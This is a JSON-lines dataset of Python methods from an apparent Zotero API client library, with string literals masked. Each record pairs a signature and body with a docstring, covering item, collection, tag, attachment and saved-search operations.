{"signature": "@retrieve<EOL><INDENT>def items(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get user items", "id": "f5629:c0:m16"}
{"signature": "@retrieve<EOL><INDENT>def fulltext_item(self, itemkey, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, itemkey=itemkey<EOL>)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get full-text content for an item", "id": "f5629:c0:m17"}
{"signature": "def set_fulltext(self, itemkey, payload):", "body": "headers = self.default_headers()<EOL>headers.update({\"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\"})<EOL>req = requests.put(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, k=itemkey<EOL>),<EOL>headers=headers,<EOL>data=json.dumps(payload),<EOL>)<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL>", "docstring": "Set full-text data for an item\n<itemkey> should correspond to an existing attachment item.\npayload should be a dict containing three keys:\n'content': the full-text content and either\nFor text documents, 'indexedChars' and 'totalChars' OR\nFor PDFs, 'indexedPages' and 'totalPages'.", "id": "f5629:c0:m18"}
{"signature": "def new_fulltext(self, version):", "body": "query_string = \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id<EOL>)<EOL>headers = {\"<STR_LIT>\": str(version)}<EOL>headers.update(self.default_headers())<EOL>req = requests.get(self.endpoint + query_string, headers=headers)<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return req.json()<EOL>", "docstring": "Retrieve list of full-text content items and versions which are newer\nthan <version>", "id": "f5629:c0:m19"}
{"signature": "def item_versions(self, **kwargs):", "body": "if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = None<EOL><DEDENT>kwargs[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>return self.items(**kwargs)<EOL>", "docstring": "Returns dict associating items keys (all no limit by default) to versions.\nAccepts a since= parameter in kwargs to limit the data to those updated since since=", "id": "f5629:c0:m20"}
{"signature": "def collection_versions(self, **kwargs):", "body": "if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = None<EOL><DEDENT>kwargs[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>return self.collections(**kwargs)<EOL>", "docstring": "Returns dict  associating collection keys (all no limit by default) to versions.\nAccepts a since= parameter in kwargs to limit the data to those updated since since=", "id": "f5629:c0:m21"}
{"signature": "def last_modified_version(self, **kwargs):", "body": "self.items(**kwargs)<EOL>return int(self.request.headers.get(\"<STR_LIT>\", <NUM_LIT:0>))<EOL>", "docstring": "Get the last modified version", "id": "f5629:c0:m22"}
{"signature": "@retrieve<EOL><INDENT>def top(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get user top-level items", "id": "f5629:c0:m23"}
{"signature": "@retrieve<EOL><INDENT>def trash(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get all items in the trash", "id": "f5629:c0:m24"}
{"signature": "@retrieve<EOL><INDENT>def searches(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get saved searches", "id": "f5629:c0:m25"}
{"signature": "@retrieve<EOL><INDENT>def deleted(self, **kwargs):<DEDENT>", "body": "if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = None<EOL><DEDENT>query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get all deleted items (requires since= parameter)", "id": "f5629:c0:m26"}
{"signature": "@retrieve<EOL><INDENT>def item(self, item, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, i=item.upper()<EOL>)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get a specific item", "id": "f5629:c0:m27"}
{"signature": "@retrieve<EOL><INDENT>def file(self, item, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, i=item.upper()<EOL>)<EOL>return self._build_query(query_string, no_params=True)<EOL>", "docstring": "Get the file from an specific item", "id": "f5629:c0:m28"}
{"signature": "def dump(self, itemkey, filename=None, path=None):", "body": "if not filename:<EOL><INDENT>filename = self.item(itemkey)[\"<STR_LIT:data>\"][\"<STR_LIT:filename>\"]<EOL><DEDENT>if path:<EOL><INDENT>pth = os.path.join(path, filename)<EOL><DEDENT>else:<EOL><INDENT>pth = filename<EOL><DEDENT>file = self.file(itemkey)<EOL>if self.snapshot:<EOL><INDENT>self.snapshot = False<EOL>pth = pth + \"<STR_LIT>\"<EOL><DEDENT>with open(pth, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(file)<EOL><DEDENT>", "docstring": "Dump a file attachment to disk, with optional filename and path", "id": "f5629:c0:m29"}
{"signature": "@retrieve<EOL><INDENT>def children(self, item, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, i=item.upper()<EOL>)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get a specific item's child items", "id": "f5629:c0:m30"}
{"signature": "@retrieve<EOL><INDENT>def collection_items(self, collection, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, c=collection.upper()<EOL>)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get a specific collection's items", "id": "f5629:c0:m31"}
{"signature": "@retrieve<EOL><INDENT>def collection_items_top(self, collection, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, c=collection.upper()<EOL>)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get a specific collection's top-level items", "id": "f5629:c0:m32"}
{"signature": "@retrieve<EOL><INDENT>def collection_tags(self, collection, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, c=collection.upper()<EOL>)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get a specific collection's tags", "id": "f5629:c0:m33"}
{"signature": "@retrieve<EOL><INDENT>def collection(self, collection, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, c=collection.upper()<EOL>)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get user collection", "id": "f5629:c0:m34"}
{"signature": "@retrieve<EOL><INDENT>def collections(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get user collections", "id": "f5629:c0:m35"}
{"signature": "def all_collections(self, collid=None):", "body": "all_collections = []<EOL>def subcoll(clct):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>all_collections.append(clct)<EOL>if clct[\"<STR_LIT>\"].get(\"<STR_LIT>\", <NUM_LIT:0>) > <NUM_LIT:0>:<EOL><INDENT>[<EOL>subcoll(c)<EOL>for c in self.everything(self.collections_sub(clct[\"<STR_LIT:data>\"][\"<STR_LIT:key>\"]))<EOL>]<EOL><DEDENT><DEDENT>if collid:<EOL><INDENT>toplevel = [self.collection(collid)]<EOL><DEDENT>else:<EOL><INDENT>toplevel = self.everything(self.collections_top())<EOL><DEDENT>[subcoll(collection) for collection in toplevel]<EOL>return all_collections<EOL>", "docstring": "Retrieve all collections and subcollections. Works for top-level collections\nor for a specific collection. Works at all collection depths.", "id": "f5629:c0:m36"}
{"signature": "@retrieve<EOL><INDENT>def collections_top(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get top-level user collections", "id": "f5629:c0:m37"}
{"signature": "@retrieve<EOL><INDENT>def collections_sub(self, collection, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, c=collection.upper()<EOL>)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get subcollections for a specific collection", "id": "f5629:c0:m38"}
{"signature": "@retrieve<EOL><INDENT>def groups(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get user groups", "id": "f5629:c0:m39"}
{"signature": "@retrieve<EOL><INDENT>def tags(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\"<EOL>self.tag_data = True<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get tags", "id": "f5629:c0:m40"}
{"signature": "@retrieve<EOL><INDENT>def item_tags(self, item, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, i=item.upper()<EOL>)<EOL>self.tag_data = True<EOL>return self._build_query(query_string)<EOL>", "docstring": "Get tags for a specific item", "id": "f5629:c0:m41"}
{"signature": "def all_top(self, **kwargs):", "body": "return self.everything(self.top(**kwargs))<EOL>", "docstring": "Retrieve all top-level items", "id": "f5629:c0:m42"}
{"signature": "@retrieve<EOL><INDENT>def follow(self):<DEDENT>", "body": "if self.links.get(\"<STR_LIT>\"):<EOL><INDENT>return self.links.get(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise StopIteration<EOL><DEDENT>", "docstring": "Return the result of the call to the URL in the 'Next' link", "id": "f5629:c0:m43"}
{"signature": "def iterfollow(self):", "body": "<EOL>if self.links is None:<EOL><INDENT>return<EOL><DEDENT>if self.links.get(\"<STR_LIT>\"):<EOL><INDENT>yield self.follow()<EOL><DEDENT>else:<EOL><INDENT>raise StopIteration<EOL><DEDENT>", "docstring": "Generator for self.follow()", "id": "f5629:c0:m44"}
{"signature": "def makeiter(self, func):", "body": "<EOL>self.links[\"<STR_LIT>\"] = self.links[\"<STR_LIT>\"]<EOL>return self.iterfollow()<EOL>", "docstring": "Return a generator of func's results", "id": "f5629:c0:m45"}
{"signature": "def everything(self, query):", "body": "try:<EOL><INDENT>items = []<EOL>items.extend(query)<EOL>while self.links.get(\"<STR_LIT>\"):<EOL><INDENT>items.extend(self.follow())<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>items = copy.deepcopy(query)<EOL>while self.links.get(\"<STR_LIT>\"):<EOL><INDENT>items.entries.extend(self.follow().entries)<EOL><DEDENT><DEDENT>return items<EOL>", "docstring": "Retrieve all items in the library for a particular query\nThis method will override the 'limit' parameter if it's been set", "id": "f5629:c0:m46"}
{"signature": "def get_subset(self, subset):", "body": "if len(subset) > <NUM_LIT:50>:<EOL><INDENT>raise ze.TooManyItems(\"<STR_LIT>\")<EOL><DEDENT>params = self.url_params<EOL>retr = []<EOL>for itm in subset:<EOL><INDENT>retr.extend(self.item(itm))<EOL>self.url_params = params<EOL><DEDENT>self.url_params = None<EOL>return retr<EOL>", "docstring": "Retrieve a subset of items\nAccepts a single argument: a list of item IDs", "id": "f5629:c0:m47"}
{"signature": "def _json_processor(self, retrieved):", "body": "json_kwargs = {}<EOL>if self.preserve_json_order:<EOL><INDENT>json_kwargs[\"<STR_LIT>\"] = OrderedDict<EOL><DEDENT>try:<EOL><INDENT>items = [<EOL>json.loads(e[\"<STR_LIT:content>\"][<NUM_LIT:0>][\"<STR_LIT:value>\"], **json_kwargs)<EOL>for e in retrieved.entries<EOL>]<EOL><DEDENT>except KeyError:<EOL><INDENT>return self._tags_data(retrieved)<EOL><DEDENT>return items<EOL>", "docstring": "Format and return data from API calls which return Items", "id": "f5629:c0:m48"}
{"signature": "def _csljson_processor(self, retrieved):", "body": "items = []<EOL>json_kwargs = {}<EOL>if self.preserve_json_order:<EOL><INDENT>json_kwargs[\"<STR_LIT>\"] = OrderedDict<EOL><DEDENT>for csl in retrieved.entries:<EOL><INDENT>items.append(json.loads(csl[\"<STR_LIT:content>\"][<NUM_LIT:0>][\"<STR_LIT:value>\"], **json_kwargs))<EOL><DEDENT>self.url_params = None<EOL>return items<EOL>", "docstring": "Return a list of dicts which are dumped CSL JSON", "id": "f5629:c0:m49"}
{"signature": "def _bib_processor(self, retrieved):", "body": "items = []<EOL>for bib in retrieved.entries:<EOL><INDENT>items.append(bib[\"<STR_LIT:content>\"][<NUM_LIT:0>][\"<STR_LIT:value>\"])<EOL><DEDENT>self.url_params = None<EOL>return items<EOL>", "docstring": "Return a list of strings formatted as HTML bibliography entries", "id": "f5629:c0:m50"}
{"signature": "def _citation_processor(self, retrieved):", "body": "items = []<EOL>for cit in retrieved.entries:<EOL><INDENT>items.append(cit[\"<STR_LIT:content>\"][<NUM_LIT:0>][\"<STR_LIT:value>\"])<EOL><DEDENT>self.url_params = None<EOL>return items<EOL>", "docstring": "Return a list of strings formatted as HTML citation entries", "id": "f5629:c0:m51"}
{"signature": "def _tags_data(self, retrieved):", "body": "self.url_params = None<EOL>return [t[\"<STR_LIT>\"] for t in retrieved]<EOL>", "docstring": "Format and return data from API calls which return Tags", "id": "f5629:c0:m52"}
{"signature": "def item_template(self, itemtype):", "body": "<EOL>template_name = \"<STR_LIT>\" + itemtype<EOL>query_string = \"<STR_LIT>\".format(i=itemtype)<EOL>if self.templates.get(template_name) and not self._updated(<EOL>query_string, self.templates[template_name], template_name<EOL>):<EOL><INDENT>return copy.deepcopy(self.templates[template_name][\"<STR_LIT>\"])<EOL><DEDENT>retrieved = self._retrieve_data(query_string)<EOL>return self._cache(retrieved, template_name)<EOL>", "docstring": "Get a template for a new item", "id": "f5629:c0:m53"}
{"signature": "def _attachment_template(self, attachment_type):", "body": "return self.item_template(\"<STR_LIT>\" + attachment_type)<EOL>", "docstring": "Return a new attachment template of the required type:\nimported_file\nimported_url\nlinked_file\nlinked_url", "id": "f5629:c0:m54"}
{"signature": "def _attachment(self, payload, parentid=None):", "body": "attachment = Zupload(self, payload, parentid)<EOL>res = attachment.upload()<EOL>return res<EOL>", "docstring": "Create attachments\naccepts a list of one or more attachment template dicts\nand an optional parent Item ID. If this is specified,\nattachments are created under this ID", "id": "f5629:c0:m55"}
{"signature": "@ss_wrap<EOL><INDENT>def show_operators(self):<DEDENT>", "body": "return self.savedsearch.operators<EOL>", "docstring": "Show available saved search operators", "id": "f5629:c0:m56"}
{"signature": "@ss_wrap<EOL><INDENT>def show_conditions(self):<DEDENT>", "body": "return self.savedsearch.conditions_operators.keys()<EOL>", "docstring": "Show available saved search conditions", "id": "f5629:c0:m57"}
{"signature": "@ss_wrap<EOL><INDENT>def show_condition_operators(self, condition):<DEDENT>", "body": "<EOL>permitted_operators = self.savedsearch.conditions_operators.get(condition)<EOL>permitted_operators_list = set(<EOL>[self.savedsearch.operators.get(op) for op in permitted_operators]<EOL>)<EOL>return permitted_operators_list<EOL>", "docstring": "Show available operators for a given saved search condition", "id": "f5629:c0:m58"}
{"signature": "@ss_wrap<EOL><INDENT>def saved_search(self, name, conditions):<DEDENT>", "body": "self.savedsearch._validate(conditions)<EOL>payload = [{\"<STR_LIT:name>\": name, \"<STR_LIT>\": conditions}]<EOL>headers = {\"<STR_LIT>\": token()}<EOL>headers.update(self.default_headers())<EOL>req = requests.post(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(t=self.library_type, u=self.library_id),<EOL>headers=headers,<EOL>data=json.dumps(payload),<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return req.json()<EOL>", "docstring": "Create a saved search. conditions is a list of dicts\n        containing search conditions, and must contain the following str keys:\n        condition, operator, value", "id": "f5629:c0:m59"}
{"signature": "@ss_wrap<EOL><INDENT>def delete_saved_search(self, keys):<DEDENT>", "body": "headers = {\"<STR_LIT>\": token()}<EOL>headers.update(self.default_headers())<EOL>req = requests.delete(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(t=self.library_type, u=self.library_id),<EOL>headers=headers,<EOL>params={\"<STR_LIT>\": \"<STR_LIT:U+002C>\".join(keys)},<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return req.status_code<EOL>", "docstring": "Delete one or more saved searches by passing a list of one or more\n        unique search keys", "id": "f5629:c0:m60"}
{"signature": "def upload_attachments(self, attachments, parentid=None, basedir=None):", "body": "return Zupload(self, attachments, parentid, basedir=basedir).upload()<EOL>", "docstring": "Upload files to the already created (but never uploaded) attachments", "id": "f5629:c0:m61"}
{"signature": "def add_tags(self, item, *tags):", "body": "<EOL>try:<EOL><INDENT>assert item[\"<STR_LIT:data>\"][\"<STR_LIT>\"]<EOL><DEDENT>except AssertionError:<EOL><INDENT>item[\"<STR_LIT:data>\"][\"<STR_LIT>\"] = list()<EOL><DEDENT>for tag in tags:<EOL><INDENT>item[\"<STR_LIT:data>\"][\"<STR_LIT>\"].append({\"<STR_LIT>\": \"<STR_LIT:%s>\" % tag})<EOL><DEDENT>assert self.check_items([item])<EOL>return self.update_item(item)<EOL>", "docstring": "Add one or more tags to a retrieved item,\nthen update it on the server\nAccepts a dict, and one or more tags to add to it\nReturns the updated item from the server", "id": "f5629:c0:m62"}
{"signature": "def check_items(self, items):", "body": "<EOL>if self.templates.get(\"<STR_LIT>\") and not self._updated(<EOL>\"<STR_LIT>\", self.templates[\"<STR_LIT>\"], \"<STR_LIT>\"<EOL>):<EOL><INDENT>template = set(t[\"<STR_LIT>\"] for t in self.templates[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>template = set(t[\"<STR_LIT>\"] for t in self.item_fields())<EOL><DEDENT>template = template | set(<EOL>[<EOL>\"<STR_LIT:path>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT:version>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT:filename>\",<EOL>]<EOL>)<EOL>template = template | set(self.temp_keys)<EOL>for pos, item in enumerate(items):<EOL><INDENT>if set(item) == set([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:version>\", \"<STR_LIT>\", \"<STR_LIT:key>\", \"<STR_LIT:data>\"]):<EOL><INDENT>item = item[\"<STR_LIT:data>\"]<EOL><DEDENT>to_check = set(i for i in list(item.keys()))<EOL>difference = to_check.difference(template)<EOL>if difference:<EOL><INDENT>raise ze.InvalidItemFields(<EOL>\"<STR_LIT>\"<EOL>% (pos + <NUM_LIT:1>, \"<STR_LIT:U+0020>\".join(i for i in difference))<EOL>)<EOL><DEDENT><DEDENT>return items<EOL>", "docstring": "Check that items to be created contain no invalid dict keys\nAccepts a single argument: a list of one or more dicts\nThe retrieved fields are cached and re-used until a 304 call fails", "id": "f5629:c0:m63"}
{"signature": "def item_types(self):", "body": "<EOL>if self.templates.get(\"<STR_LIT>\") and not self._updated(<EOL>\"<STR_LIT>\", self.templates[\"<STR_LIT>\"], \"<STR_LIT>\"<EOL>):<EOL><INDENT>return self.templates[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL><DEDENT>query_string = \"<STR_LIT>\"<EOL>retrieved = self._retrieve_data(query_string)<EOL>return self._cache(retrieved, \"<STR_LIT>\")<EOL>", "docstring": "Get all available item types", "id": "f5629:c0:m64"}
{"signature": "def creator_fields(self):", "body": "<EOL>if self.templates.get(\"<STR_LIT>\") and not self._updated(<EOL>\"<STR_LIT>\", self.templates[\"<STR_LIT>\"], \"<STR_LIT>\"<EOL>):<EOL><INDENT>return self.templates[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL><DEDENT>query_string = \"<STR_LIT>\"<EOL>retrieved = self._retrieve_data(query_string)<EOL>return self._cache(retrieved, \"<STR_LIT>\")<EOL>", "docstring": "Get localised creator fields", "id": "f5629:c0:m65"}
{"signature": "def fields_types(self, tname, qstring, itemtype):", "body": "<EOL>template_name = tname + itemtype<EOL>query_string = qstring.format(i=itemtype)<EOL>if self.templates.get(template_name) and not self._updated(<EOL>query_string, self.templates[template_name], template_name<EOL>):<EOL><INDENT>return self.templates[template_name][\"<STR_LIT>\"]<EOL><DEDENT>retrieved = self._retrieve_data(query_string)<EOL>return self._cache(retrieved, template_name)<EOL>", "docstring": "Retrieve item fields or creator types", "id": "f5629:c0:m66"}
{"signature": "def item_type_fields(self, itemtype):", "body": "return self.fields_types(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", itemtype<EOL>)<EOL>", "docstring": "Get all valid fields for an item", "id": "f5629:c0:m67"}
{"signature": "def item_creator_types(self, itemtype):", "body": "return self.fields_types(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", itemtype<EOL>)<EOL>", "docstring": "Get all available creator types for an item", "id": "f5629:c0:m68"}
{"signature": "def item_fields(self):", "body": "<EOL>if self.templates.get(\"<STR_LIT>\") and not self._updated(<EOL>\"<STR_LIT>\", self.templates[\"<STR_LIT>\"], \"<STR_LIT>\"<EOL>):<EOL><INDENT>return self.templates[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL><DEDENT>query_string = \"<STR_LIT>\"<EOL>retrieved = self._retrieve_data(query_string)<EOL>return self._cache(retrieved, \"<STR_LIT>\")<EOL>", "docstring": "Get all available item fields", "id": "f5629:c0:m69"}
{"signature": "def create_items(self, payload, parentid=None, last_modified=None):", "body": "if len(payload) > <NUM_LIT:50>:<EOL><INDENT>raise ze.TooManyItems(\"<STR_LIT>\")<EOL><DEDENT>headers = {\"<STR_LIT>\": token(), \"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\"}<EOL>if last_modified is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = str(last_modified)<EOL><DEDENT>to_send = json.dumps([i for i in self._cleanup(*payload, allow=(\"<STR_LIT:key>\"))])<EOL>headers.update(self.default_headers())<EOL>req = requests.post(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(t=self.library_type, u=self.library_id),<EOL>data=to_send,<EOL>headers=dict(headers),<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>resp = req.json()<EOL>if parentid:<EOL><INDENT>uheaders = {<EOL>\"<STR_LIT>\": req.headers[\"<STR_LIT>\"]<EOL>}<EOL>uheaders.update(self.default_headers())<EOL>for value in resp[\"<STR_LIT:success>\"].values():<EOL><INDENT>payload = json.dumps({\"<STR_LIT>\": parentid})<EOL>presp = requests.patch(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, v=value<EOL>),<EOL>data=payload,<EOL>headers=dict(uheaders),<EOL>)<EOL>self.request = presp<EOL>try:<EOL><INDENT>presp.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(presp)<EOL><DEDENT><DEDENT><DEDENT>return resp<EOL>", "docstring": "Create new Zotero items\nAccepts two arguments:\n    a list containing one or more item dicts\n    an optional parent item ID.\nNote that this can also be used to update existing items", "id": "f5629:c0:m70"}
{"signature": "def create_collection(self, payload, last_modified=None):", "body": "return self.create_collections(payload, last_modified)<EOL>", "docstring": "Alias for create_collections to preserve backward compatibility", "id": "f5629:c0:m71"}
{"signature": "def create_collections(self, payload, last_modified=None):", "body": "<EOL>for item in payload:<EOL><INDENT>if \"<STR_LIT:name>\" not in item:<EOL><INDENT>raise ze.ParamNotPassed(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" not in item:<EOL><INDENT>item[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>headers = {\"<STR_LIT>\": token()}<EOL>if last_modified is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = str(last_modified)<EOL><DEDENT>headers.update(self.default_headers())<EOL>req = requests.post(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(t=self.library_type, u=self.library_id),<EOL>headers=headers,<EOL>data=json.dumps(payload),<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return req.json()<EOL>", "docstring": "Create new Zotero collections\nAccepts one argument, a list of dicts containing the following keys:\n\n'name': the name of the collection\n'parentCollection': OPTIONAL, the parent collection to which you wish to add this", "id": "f5629:c0:m72"}
{"signature": "def update_collection(self, payload, last_modified=None):", "body": "modified = payload[\"<STR_LIT:version>\"]<EOL>if last_modified is not None:<EOL><INDENT>modified = last_modified<EOL><DEDENT>key = payload[\"<STR_LIT:key>\"]<EOL>headers = {\"<STR_LIT>\": str(modified)}<EOL>headers.update(self.default_headers())<EOL>headers.update({\"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\"})<EOL>req = requests.put(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, c=key<EOL>),<EOL>headers=headers,<EOL>data=json.dumps(payload),<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL>", "docstring": "Update a Zotero collection property such as 'name'\nAccepts one argument, a dict containing collection data retrieved\nusing e.g. 'collections()'", "id": "f5629:c0:m73"}
{"signature": "def attachment_simple(self, files, parentid=None):", "body": "orig = self._attachment_template(\"<STR_LIT>\")<EOL>to_add = [orig.copy() for fls in files]<EOL>for idx, tmplt in enumerate(to_add):<EOL><INDENT>tmplt[\"<STR_LIT:title>\"] = os.path.basename(files[idx])<EOL>tmplt[\"<STR_LIT:filename>\"] = files[idx]<EOL><DEDENT>if parentid:<EOL><INDENT>return self._attachment(to_add, parentid)<EOL><DEDENT>else:<EOL><INDENT>return self._attachment(to_add)<EOL><DEDENT>", "docstring": "Add attachments using filenames as title\nArguments:\nOne or more file paths to add as attachments:\nAn optional Item ID, which will create child attachments", "id": "f5629:c0:m74"}
{"signature": "def attachment_both(self, files, parentid=None):", "body": "orig = self._attachment_template(\"<STR_LIT>\")<EOL>to_add = [orig.copy() for f in files]<EOL>for idx, tmplt in enumerate(to_add):<EOL><INDENT>tmplt[\"<STR_LIT:title>\"] = files[idx][<NUM_LIT:0>]<EOL>tmplt[\"<STR_LIT:filename>\"] = files[idx][<NUM_LIT:1>]<EOL><DEDENT>if parentid:<EOL><INDENT>return self._attachment(to_add, parentid)<EOL><DEDENT>else:<EOL><INDENT>return self._attachment(to_add)<EOL><DEDENT>", "docstring": "Add child attachments using title, filename\nArguments:\nOne or more lists or tuples containing title, file path\nAn optional Item ID, which will create child attachments", "id": "f5629:c0:m75"}
{"signature": "def update_item(self, payload, last_modified=None):", "body": "to_send = self.check_items([payload])[<NUM_LIT:0>]<EOL>if last_modified is None:<EOL><INDENT>modified = payload[\"<STR_LIT:version>\"]<EOL><DEDENT>else:<EOL><INDENT>modified = last_modified<EOL><DEDENT>ident = payload[\"<STR_LIT:key>\"]<EOL>headers = {\"<STR_LIT>\": str(modified)}<EOL>headers.update(self.default_headers())<EOL>req = requests.patch(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, id=ident<EOL>),<EOL>headers=headers,<EOL>data=json.dumps(to_send),<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL>", "docstring": "Update an existing item\nAccepts one argument, a dict containing Item data", "id": "f5629:c0:m76"}
{"signature": "def update_items(self, payload):", "body": "to_send = [self.check_items([p])[<NUM_LIT:0>] for p in payload]<EOL>headers = {}<EOL>headers.update(self.default_headers())<EOL>for chunk in chunks(to_send, <NUM_LIT:50>):<EOL><INDENT>req = requests.post(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(t=self.library_type, u=self.library_id),<EOL>headers=headers,<EOL>data=json.dumps(chunk),<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL><DEDENT>", "docstring": "Update existing items\nAccepts one argument, a list of dicts containing Item data", "id": "f5629:c0:m77"}
